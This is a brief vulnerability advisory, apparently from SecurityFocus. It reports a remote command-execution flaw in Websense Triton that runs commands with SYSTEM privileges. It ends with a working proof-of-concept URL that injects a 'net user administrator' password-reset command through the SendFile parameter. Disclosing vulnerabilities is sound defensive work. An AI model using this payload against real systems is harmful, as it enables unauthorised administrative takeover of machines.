source: https://www.securityfocus.com/bid/51086/info

Websense Triton is prone to a remote command-execution vulnerability.

An attacker can exploit this issue to execute arbitrary commands with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah|